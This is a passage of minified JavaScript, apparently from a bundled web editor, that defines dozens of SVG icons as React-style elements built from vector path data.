6.1c-.5-.6-1.2-.5-1.7-.4-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5H20v-1h-.9c.3-.6.8-1.4.9-2.1 0-.3 0-.8-.3-1.1z"})});var C2=o(L(),1),A9=o(v(),1),zi=(0,A9.jsx)(C2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,A9.jsx)(C2.Path,{d:"M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM5 6.7V10h1V5.3L3.8 6l.4 1 .8-.3zm-.4 5.7c-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5h2.7v-1h-1c.3-.6.8-1.4.9-2.1.1-.3 0-.8-.2-1.1-.5-.6-1.3-.5-1.7-.4z"})});var S2=o(L(),1),R9=o(v(),1),z9=(0,R9.jsx)(S2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,R9.jsx)(S2.Path,{d:"M3 9c0 2.8 2.2 5 5 5v-.2V20h1.5V5.5H12V20h1.5V5.5h3V4H8C5.2 4 3 6.2 3 9Zm15.9-1-1.1 1 2.6 3-2.6 3 1.1 1 3.4-4-3.4-4Z"})});var T2=o(L(),1),V9=o(v(),1),z0=(0,V9.jsx)(T2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,V9.jsx)(T2.Path,{d:"M20 5.5H4V4H20V5.5ZM12 12.5H4V11H12V12.5ZM20 20V18.5H4V20H20ZM15.4697 14.9697L18.4393 12L15.4697 9.03033L16.5303 7.96967L20.0303 11.4697L20.5607 12L20.0303 12.5303L16.5303 16.0303L15.4697 14.9697Z"})});var P2=o(L(),1),F9=o(v(),1),V0=(0,F9.jsx)(P2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,F9.jsx)(P2.Path,{d:"M4 7.2v1.5h16V7.2H4zm8 8.6h8v-1.5h-8v1.5zm-4-4.6l-4 4 4 4 1-1-3-3 3-3-1-1z"})});var B2=o(L(),1),O9=o(v(),1),pp=(0,O9.jsx)(B2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,O9.jsx)(B2.Path,{d:"M6 4a2 2 0 0 0-2 2v3h1.5V6a.5.5 0 0 1 .5-.5h3V4H6Zm3 14.5H6a.5.5 0 0 1-.5-.5v-3H4v3a2 2 0 0 0 2 2h3v-1.5Zm6 1.5v-1.5h3a.5.5 0 0 0 .5-.5v-3H20v3a2 2 0 0 1-2 2h-3Zm3-16a2 2 0 0 1 2 2v3h-1.5V6a.5.5 0 0 0-.5-.5h-3V4h3Z"})});var I2=o(L(),1),H9=o(v(),1),F0=(0,H9.jsx)(I2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,H9.jsx)(I2.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M16.375 4.5H4.625a.125.125 0 0 0-.125.125v8.254l2.859-1.54a.75.75 0 0 1 .68-.016l2.384 1.142 2.89-2.074a.75.75 0 0 1 .874 0l2.313 1.66V4.625a.125.125 0 0 0-.125-.125Zm.125 9.398-2.75-1.975-2.813 2.02a.75.75 0 0 1-.76.067l-2.444-1.17L4.5 14.583v1.792c0 .069.056.125.125.125h11.75a.125.125 0 0 0 .125-.125v-2.477ZM4.625 3C3.728 3 3 3.728 3 4.625v11.75C3 17.273 3.728 18 4.625 18h11.75c.898 0 1.625-.727 1.625-1.625V4.625C18 3.728 17.273 3 16.375 3H4.625ZM20 8v11c0 .69-.31 1-.999 1H6v1.5h13.001c1.52 0 2.499-.982 2.499-2.5V8H20Z"})});var E2=o(L(),1),j9=o(v(),1),kl=(0,j9.jsx)(E2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,j9.jsx)(E2.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"m3 5c0-1.10457.89543-2 2-2h13.5c1.1046 0 2 .89543 2 2v13.5c0 1.1046-.8954 2-2 2h-13.5c-1.10457 0-2-.8954-2-2zm2-.5h6v6.5h-6.5v-6c0-.27614.22386-.5.5-.5zm-.5 8v6c0 .2761.22386.5.5.5h6v-6.5zm8 0v6.5h6c.2761 0 .5-.2239.5-.5v-6zm0-8v6.5h6.5v-6c0-.27614-.2239-.5-.5-.5z"})});var N2=o(L(),1),U9=o(v(),1),dp=(0,U9.jsx)(N2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,U9.jsx)(N2.Path,{d:"M18 4h-7c-1.1 0-2 .9-2 2v3H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-3h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h3V13c0 1.1.9 2 2 2h2.5v3zm0-4.5H11c-.3 0-.5-.2-.5-.5v-2.5H13c.3 0 .5.2.5.5v2.5zm5-.5c0 .3-.2.5-.5.5h-3V11c0-1.1-.9-2-2-2h-2.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7z"})});var D2=o(L(),1),G9=o(v(),1),W9=(0,G9.jsx)(D2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,G9.jsx)(D2.Path,{d:"M18.5 10.5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})});var L2=o(L(),1),$9=o(v(),1),q9=(0,$9.jsx)(L2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,$9.jsx)(L2.Path,{d:"M17.6 7c-.6.9-1.5 1.7-2.6 2v1h2v7h2V7h-1.4zM11 11H7V7H5v10h2v-4h4v4h2V7h-2v4z"})});var M2=o(L(),1),Z9=o(v(),1),K9=(0,Z9.jsx)(M2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Z9.jsx)(M2.Path,{d:"M9 11.1H5v-4H3v10h2v-4h4v4h2v-10H9v4zm8 4c.5-.4.6-.6 1.1-1.1.4-.4.8-.8 1.2-1.3.3-.4.6-.8.9-1.3.2-.4.3-.8.3-1.3 0-.4-.1-.9-.3-1.3-.2-.4-.4-.7-.8-1-.3-.3-.7-.5-1.2-.6-.5-.2-1-.2-1.5-.2-.4 0-.7 0-1.1.1-.3.1-.7.2-1 .3-.3.1-.6.3-.9.5-.3.2-.6.4-.8.7l1.2 1.2c.3-.3.6-.5 1-.7.4-.2.7-.3 1.2-.3s.9.1 1.3.4c.3.3.5.7.5 1.1 0 .4-.1.8-.4 1.1-.3.5-.6.9-1 1.2-.4.4-1 .9-1.6 1.4-.6.5-1.4 1.1-2.2 1.6v1.5h8v-2H17z"})});var A2=o(L(),1),Q9=o(v(),1),Y9=(0,Q9.jsx)(A2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Q9.jsx)(A2.Path,{d:"M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.3 1.7c-.4-.4-1-.7-1.6-.8v-.1c.6-.2 1.1-.5 1.5-.9.3-.4.5-.8.5-1.3 0-.4-.1-.8-.3-1.1-.2-.3-.5-.6-.8-.8-.4-.2-.8-.4-1.2-.5-.6-.1-1.1-.2-1.6-.2-.6 0-1.3.1-1.8.3s-1.1.5-1.6.9l1.2 1.4c.4-.2.7-.4 1.1-.6.3-.2.7-.3 1.1-.3.4 0 .8.1 1.1.3.3.2.4.5.4.8 0 .4-.2.7-.6.9-.7.3-1.5.5-2.2.4v1.6c.5 0 1 0 1.5.1.3.1.7.2 1 .3.2.1.4.2.5.4s.1.4.1.6c0 .3-.2.7-.5.8-.4.2-.9.3-1.4.3s-1-.1-1.4-.3c-.4-.2-.8-.4-1.2-.7L13 15.6c.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.6 0 1.1-.1 1.6-.2.4-.1.9-.2 1.3-.5.4-.2.7-.5.9-.9.2-.4.3-.8.3-1.2 0-.6-.3-1.1-.7-1.5z"})});var R2=o(L(),1),X9=o(v(),1),J9=(0,X9.jsx)(R2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,X9.jsx)(R2.Path,{d:"M20 13V7h-3l-4 6v2h5v2h2v-2h1v-2h-1zm-2 0h-2.8L18 9v4zm-9-2H5V7H3v10h2v-4h4v4h2V7H9v4z"})});var z2=o(L(),1),eT=o(v(),1),tT=(0,eT.jsx)(z2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,eT.jsx)(z2.Path,{d:"M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.7 1.2c-.2-.3-.5-.7-.8-.9-.3-.3-.7-.5-1.1-.6-.5-.1-.9-.2-1.4-.2-.2 0-.5.1-.7.1-.2.1-.5.1-.7.2l.1-1.9h4.3V7H14l-.3 5 1 .6.5-.2.4-.1c.1-.1.3-.1.4-.1h.5c.5 0 1 .1 1.4.4.4.2.6.7.6 1.1 0 .4-.2.8-.6 1.1-.4.3-.9.4-1.4.4-.4 0-.9-.1-1.3-.3-.4-.2-.7-.4-1.1-.7 0 0-1.1 1.4-1 1.5.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.5 0 1-.1 1.5-.3s.9-.4 1.3-.7c.4-.3.7-.7.9-1.1s.3-.9.3-1.4-.1-1-.3-1.4z"})});var V2=o(L(),1),rT=o(v(),1),oT=(0,rT.jsx)(V2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,rT.jsx)(V2.Path,{d:"M20.7 12.4c-.2-.3-.4-.6-.7-.9s-.6-.5-1-.6c-.4-.2-.8-.2-1.2-.2-.5 0-.9.1-1.3.3s-.8.5-1.2.8c0-.5 0-.9.2-1.4l.6-.9c.2-.2.5-.4.8-.5.6-.2 1.3-.2 1.9 0 .3.1.6.3.8.5 0 0 1.3-1.3 1.3-1.4-.4-.3-.9-.6-1.4-.8-.6-.2-1.3-.3-2-.3-.6 0-1.1.1-1.7.4-.5.2-1 .5-1.4.9-.4.4-.8 1-1 1.6-.3.7-.4 1.5-.4 2.3s.1 1.5.3 2.1c.2.6.6 1.1 1 1.5.4.4.9.7 1.4.9 1 .3 2 .3 3 0 .4-.1.8-.3 1.2-.6.3-.3.6-.6.8-1 .2-.5.3-.9.3-1.4s-.1-.9-.3-1.3zm-2 2.1c-.1.2-.3.4-.4.5-.1.1-.3.2-.5.2-.2.1-.4.1-.6.1-.2.1-.5 0-.7-.1-.2 0-.3-.2-.5-.3-.1-.2-.3-.4-.4-.6-.2-.3-.3-.7-.3-1 .3-.3.6-.5 1-.7.3-.1.7-.2 1-.2.4 0 .8.1 1.1.3.3.3.4.7.4 1.1 0 .2 0 .5-.1.7zM9 11H5V7H3v10h2v-4h4v4h2V7H9v4z"})});var F2=o(L(),1),aT=o(v(),1),nT=(0,aT.jsx)(F2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,aT.jsx)(F2.Path,{d:"M6 5V18.5911L12 13.8473L18 18.5911V5H6Z"})});var O2=o(L(),1),iT=o(v(),1),lT=(0,iT.jsx)(O2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,iT.jsx)(O2.Path,{d:"M12 4L4 7.9V20h16V7.9L12 4zm6.5 14.5H14V13h-4v5.5H5.5V8.8L12 5.7l6.5 3.1v9.7z"})});var H2=o(L(),1),sT=o(v(),1),cT=(0,sT.jsx)(H2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,sT.jsx)(H2.Path,{d:"M4.8 11.4H2.1V9H1v6h1.1v-2.6h2.7V15h1.1V9H4.8v2.4zm1.9-1.3h1.7V15h1.1v-4.9h1.7V9H6.7v1.1zM16.2 9l-1.5 2.7L13.3 9h-.9l-.8 6h1.1l.5-4 1.5 2.8 1.5-2.8.5 4h1.1L17 9h-.8zm3.8 5V9h-1.1v6h3.6v-1H20z"})});var j2=o(L(),1),uT=o(v(),1),Au=(0,uT.jsx)(j2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,uT.jsx)(j2.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V5c-.1-.3.1-.5.4-.5zm14 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z"})});var U2=o(L(),1),mT=o(v(),1),pT=(0,mT.jsx)(U2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,mT.jsx)(U2.Path,{d:"m6.734 16.106 2.176-2.38-1.093-1.028-3.846 4.158 3.846 4.158 1.093-1.028-2.176-2.38h2.811c1.125 0 2.25.03 3.374 0 1.428-.001 3.362-.25 4.963-1.277 1.66-1.065 2.868-2.906 2.868-5.859 0-2.479-1.327-4.896-3.65-5.93-1.82-.813-3.044-.8-4.806-.788l-.567.002v1.5c.184 0 .368 0 .553-.002 1.82-.007 2.704-.014 4.21.657 1.854.827 2.76 2.657 2.76 4.561 0 2.472-.973 3.824-2.178 4.596-1.258.807-2.864 1.04-4.163 1.04h-.02c-1.115.03-2.229 0-3.344 0H6.734Z"})});var G2=o(L(),1),dT=o(v(),1),fp=(0,dT.jsx)(G2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,dT.jsx)(G2.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})});var W2=o(L(),1),fT=o(v(),1),O0=(0,fT.jsx)(W2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,fT.jsx)(W2.Path,{d:"M17.031 4.703 15.576 4l-1.56 3H14v.03l-2.324 4.47H9.5V13h1.396l-1.502 2.889h-.95a3.694 3.694 0 0 1 0-7.389H10V7H8.444a5.194 5.194 0 1 0 0 10.389h.17L7.5 19.53l1.416.719L15.049 8.5h.507a3.694 3.694 0 0 1 0 7.39H14v1.5h1.556a5.194 5.194 0 0 0 .273-10.383l1.202-2.304Z"})});var $2=o(L(),1),hT=o(v(),1),Yn=(0,hT.jsx)($2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,hT.jsx)($2.Path,{d:"M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z"})});var q2=o(L(),1),gT=o(v(),1),vT=(0,gT.jsx)(q2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,gT.jsx)(q2.Path,{d:"M12 11v1.5h8V11h-8zm-6-1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"})});var Z2=o(L(),1),bT=o(v(),1),wl=(0,bT.jsx)(Z2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,bT.jsx)(Z2.Path,{d:"M4 4v1.5h16V4H4zm8 8.5h8V11h-8v1.5zM4 20h16v-1.5H4V20zm4-8c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2z"})});var K2=o(L(),1),yT=o(v(),1),xT=(0,yT.jsx)(K2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,yT.jsx)(K2.Path,{d:"M11 14.5l1.1 1.1 3-3 .5-.5-.6-.6-3-3-1 1 1.7 1.7H5v1.5h7.7L11 14.5zM16.8 5h-7c-1.1 0-2 .9-2 2v1.5h1.5V7c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v10c0 .3-.2.5-.5.5h-7c-.3 0-.5-.2-.5-.5v-1.5H7.8V17c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2z"})});var Q2=o(L(),1),_T=o(v(),1),hp=(0,_T.jsx)(Q2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_T.jsx)(Q2.Path,{d:"M18.1823 11.6392C18.1823 13.0804 17.0139 14.2487 15.5727 14.2487C14.3579 14.2487 13.335 13.4179 13.0453 12.2922L13.0377 12.2625L13.0278 12.2335L12.3985 10.377L12.3942 10.3785C11.8571 8.64997 10.246 7.39405 8.33961 7.39405C5.99509 7.39405 4.09448 9.29465 4.09448 11.6392C4.09448 13.9837 5.99509 15.8843 8.33961 15.8843C8.88499 15.8843 9.40822 15.781 9.88943 15.5923L9.29212 14.0697C8.99812 14.185 8.67729 14.2487 8.33961 14.2487C6.89838 14.2487 5.73003 13.0804 5.73003 11.6392C5.73003 10.1979 6.89838 9.02959 8.33961 9.02959C9.55444 9.02959 10.5773 9.86046 10.867 10.9862L10.8772 10.9836L11.4695 12.7311C11.9515 14.546 13.6048 15.8843 15.5727 15.8843C17.9172 15.8843 19.8178 13.9837 19.8178 11.6392C19.8178 9.29465 17.9172 7.39404 15.5727 7.39404C15.0287 7.39404 14.5066 7.4968 14.0264 7.6847L14.6223 9.20781C14.9158 9.093 15.2358 9.02959 15.5727 9.02959C17.0139 9.02959 18.1823 10.1979 18.1823 11.6392Z"})});var Y2=o(L(),1),kT=o(v(),1),wT=(0,kT.jsx)(Y2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,kT.jsx)(Y2.Path,{d:"M12 9c-.8 0-1.5.7-1.5 1.5S11.2 12 12 12s1.5-.7 1.5-1.5S12.8 9 12 9zm0-5c-3.6 0-6.5 2.8-6.5 6.2 0 .8.3 1.8.9 3.1.5 1.1 1.2 2.3 2 3.6.7 1 3 3.8 3.2 3.9l.4.5.4-.5c.2-.2 2.6-2.9 3.2-3.9.8-1.2 1.5-2.5 2-3.6.6-1.3.9-2.3.9-3.1C18.5 6.8 15.6 4 12 4zm4.3 8.7c-.5 1-1.1 2.2-1.9 3.4-.5.7-1.7 2.2-2.4 3-.7-.8-1.9-2.3-2.4-3-.8-1.2-1.4-2.3-1.9-3.3-.6-1.4-.7-2.2-.7-2.5 0-2.6 2.2-4.7 5-4.7s5 2.1 5 4.7c0 .2-.1 1-.7 2.4z"})});var X2=o(L(),1),CT=o(v(),1),ST=(0,CT.jsx)(X2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,CT.jsx)(X2.Path,{d:"M11.2 6.8c-.7 0-1.4.5-1.6 1.1l-2.8 7.5-1.2-1.8c-.1-.2-.4-.3-.6-.3H3v1.5h1.6l1.2 1.8c.6.9 1.9.7 2.2-.3l2.9-7.9s.1-.2.2-.2h7.8V6.7h-7.8Zm5.3 3.4-1.9 1.9-1.9-1.9-1.1 1.1 1.9 1.9-1.9 1.9 1.1 1.1 1.9-1.9 1.9 1.9 1.1-1.1-1.9-1.9 1.9-1.9-1.1-1.1Z"})});var J2=o(L(),1),TT=o(v(),1),PT=(0,TT.jsx)(J2.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,TT.jsx)(J2.Path,{d:"M3 6v11.5h8V6H3Zm11 3h7V7.5h-7V9Zm7 3.5h-7V11h7v1.5ZM14 16h7v-1.5h-7V16Z"})});var H0=o(L(),1),j0=o(v(),1),U0=(0,j0.jsxs)(H0.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,j0.jsx)(H0.Path,{d:"m7 6.5 4 2.5-4 2.5z"}),(0,j0.jsx)(H0.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"m5 3c-1.10457 0-2 .89543-2 2v14c0 1.1046.89543 2 2 2h14c1.1046 0 2-.8954 2-2v-14c0-1.10457-.8954-2-2-2zm14 1.5h-14c-.27614 0-.5.22386-.5.5v10.7072l3.62953-2.6465c.25108-.1831.58905-.1924.84981-.0234l2.92666 1.8969 3.5712-3.4719c.2911-.2831.7545-.2831 1.0456 0l2.9772 2.8945v-9.3568c0-.27614-.2239-.5-.5-.5zm-14.5 14.5v-1.4364l4.09643-2.987 2.99567 1.9417c.2936.1903.6798.1523.9307-.0917l3.4772-3.3806 3.4772 3.3806.0228-.0234v2.5968c0 .2761-.2239.5-.5.5h-14c-.27614 0-.5-.2239-.5-.5z"})]});var ex=o(L(),1),BT=o(v(),1),IT=(0,BT.jsx)(ex.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,BT.jsx)(ex.Path,{d:"M5 5v1.5h14V5H5zm0 7.8h14v-1.5H5v1.5zM5 19h14v-1.5H5V19z"})});var tx=o(L(),1),ET=o(v(),1),G0=(0,ET.jsx)(tx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,ET.jsx)(tx.Path,{d:"M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z"})});var rx=o(L(),1),NT=o(v(),1),DT=(0,NT.jsx)(rx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,NT.jsx)(rx.Path,{d:"M4 9v1.5h16V9H4zm12 5.5h4V13h-4v1.5zm-6 0h4V13h-4v1.5zm-6 0h4V13H4v1.5z"})});var ox=o(L(),1),LT=o(v(),1),MT=(0,LT.jsx)(ox.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,LT.jsx)(ox.Path,{d:"M18.5 10a1.5 1.5 0 0 1 1.5 1.5v7a1.5 1.5 0 0 1-1.5 1.5h-7a1.5 1.5 0 0 1-1.5-1.5v-7a1.5 1.5 0 0 1 1.5-1.5zM16 4a2 2 0 0 1 2 2v2h-1.5V6a.5.5 0 0 0-.5-.5H6a.5.5 0 0 0-.5.5v3H8v1.5H5.5V16a.5.5 0 0 0 .5.5h2V18H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2z"})});var ax=o(L(),1),AT=o(v(),1),gp=(0,AT.jsx)(ax.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,AT.jsx)(ax.Path,{d:"M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z"})});var nx=o(L(),1),RT=o(v(),1),zT=(0,RT.jsx)(nx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,RT.jsx)(nx.Path,{d:"M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z"})});var ix=o(L(),1),VT=o(v(),1),FT=(0,VT.jsx)(ix.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,VT.jsx)(ix.Path,{d:"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12-9.8c.4 0 .8-.3.9-.7l1.1-3h3.6l.5 1.7h1.9L13 9h-2.2l-3.4 9.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12H20V6c0-1.1-.9-2-2-2zm-6 7l1.4 3.9h-2.7L12 11z"})});var lx=o(L(),1),OT=o(v(),1),HT=(0,OT.jsx)(lx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,OT.jsx)(lx.Path,{d:"M17.5 9V6a2 2 0 0 0-2-2h-7a2 2 0 0 0-2 2v3H8V6a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 .5.5v3h1.5Zm0 6.5V18a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2v-2.5H8V18a.5.5 0 0 0 .5.5h7a.5.5 0 0 0 .5-.5v-2.5h1.5ZM4 13h16v-1.5H4V13Z"})});var W0=o(L(),1),$0=o(v(),1),Tc=(0,$0.jsxs)(W0.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,$0.jsx)(W0.Path,{d:"M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z"}),(0,$0.jsx)(W0.Path,{d:"M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z"})]});var yf=o(L(),1),xf=o(v(),1),jT=(0,xf.jsxs)(yf.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,xf.jsx)(yf.Path,{d:"M14.5 5.5h-7V7h7V5.5ZM7.5 9h7v1.5h-7V9Zm7 3.5h-7V14h7v-1.5Z"}),(0,xf.jsx)(yf.Path,{d:"M16 2H6a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2ZM6 3.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H6a.5.5 0 0 1-.5-.5V4a.5.5 0 0 1 .5-.5Z"}),(0,xf.jsx)(yf.Path,{d:"M20 8v11c0 .69-.31 1-.999 1H6v1.5h13.001c1.52 0 2.499-.982 2.499-2.5V8H20Z"})]});var sx=o(L(),1),UT=o(v(),1),GT=(0,UT.jsx)(sx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,UT.jsx)(sx.Path,{d:"m9.99609 14v-.2251l.00391.0001v6.225h1.5v-14.5h2.5v14.5h1.5v-14.5h3v-1.5h-8.50391c-2.76142 0-5 2.23858-5 5 0 2.7614 2.23858 5 5 5z"})});var cx=o(L(),1),WT=o(v(),1),vp=(0,WT.jsx)(cx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,WT.jsx)(cx.Path,{d:"m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z"})});var ux=o(L(),1),$T=o(v(),1),q0=(0,$T.jsx)(ux.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,$T.jsx)(ux.Path,{d:"m21.5 9.1-6.6-6.6-4.2 5.6c-1.2-.1-2.4.1-3.6.7-.1 0-.1.1-.2.1-.5.3-.9.6-1.2.9l3.7 3.7-5.7 5.7v1.1h1.1l5.7-5.7 3.7 3.7c.4-.4.7-.8.9-1.2.1-.1.1-.2.2-.3.6-1.1.8-2.4.6-3.6l5.6-4.1zm-7.3 3.5.1.9c.1.9 0 1.8-.4 2.6l-6-6c.8-.4 1.7-.5 2.6-.4l.9.1L15 4.9 19.1 9l-4.9 3.6z"})});var mx=o(L(),1),qT=o(v(),1),ZT=(0,qT.jsx)(mx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,qT.jsx)(mx.Path,{d:"M10.5 4v4h3V4H15v4h1.5a1 1 0 011 1v4l-3 4v2a1 1 0 01-1 1h-3a1 1 0 01-1-1v-2l-3-4V9a1 1 0 011-1H9V4h1.5zm.5 12.5v2h2v-2l3-4v-3H8v3l3 4z"})});var px=o(L(),1),KT=o(v(),1),_f=(0,KT.jsx)(px.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,KT.jsx)(px.Path,{d:"M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z"})});var dx=o(L(),1),QT=o(v(),1),YT=(0,QT.jsx)(dx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,QT.jsx)(dx.Path,{d:"M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM7 9h10v6H7V9Z"})});var fx=o(L(),1),XT=o(v(),1),JT=(0,XT.jsx)(fx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,XT.jsx)(fx.Path,{d:"M5 5.5h8V4H5v1.5ZM5 20h8v-1.5H5V20ZM19 9H5v6h14V9Z"})});var hx=o(L(),1),eP=o(v(),1),tP=(0,eP.jsx)(hx.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,eP.jsx)(hx.Path,{d:"M19 5.5h-8V4h8v1.5ZM19 